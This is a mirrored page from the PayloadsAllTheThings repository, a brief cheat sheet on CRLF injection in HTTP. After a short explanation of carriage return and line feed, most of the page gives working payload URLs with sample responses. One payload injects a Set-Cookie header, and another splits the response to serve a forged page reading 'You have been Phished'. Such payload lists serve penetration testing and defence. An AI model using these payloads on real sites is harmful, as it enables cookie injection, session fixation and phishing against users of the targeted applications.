mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 03:16:10 +00:00
45 lines
1.5 KiB
Markdown
45 lines
1.5 KiB
Markdown
# CRLF
|
||
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||
|
||
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
||
|
||
## CRLF - Add a cookie
|
||
Requested page
|
||
```
|
||
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
||
```
|
||
|
||
HTTP Response
|
||
```
|
||
Connection: keep-alive
|
||
Content-Length: 178
|
||
Content-Type: text/html
|
||
Date: Mon, 09 May 2016 14:47:29 GMT
|
||
Location: https://www.example.net/
|
||
Set-Cookie: mycookie=myvalue
|
||
X-Frame-Options: SAMEORIGIN
|
||
X-Sucuri-ID: 15016
|
||
x-content-type-options: nosniff
|
||
x-xss-protection: 1; mode=block
|
||
```
|
||
|
||
## CRLF - Write HTML
|
||
Requested page
|
||
```
|
||
http://www.example.net/index.php?lang=en%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||
```
|
||
|
||
HTTP response
|
||
```
|
||
Set-Cookie:en
|
||
Content-Length: 0
|
||
|
||
HTTP/1.1 200 OK
|
||
Content-Type: text/html
|
||
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
|
||
Content-Length: 34
|
||
|
||
<html>You have been Phished</html>```
|
||
|
||
## Thanks to
|
||
* https://www.owasp.org/index.php/CRLF_Injection |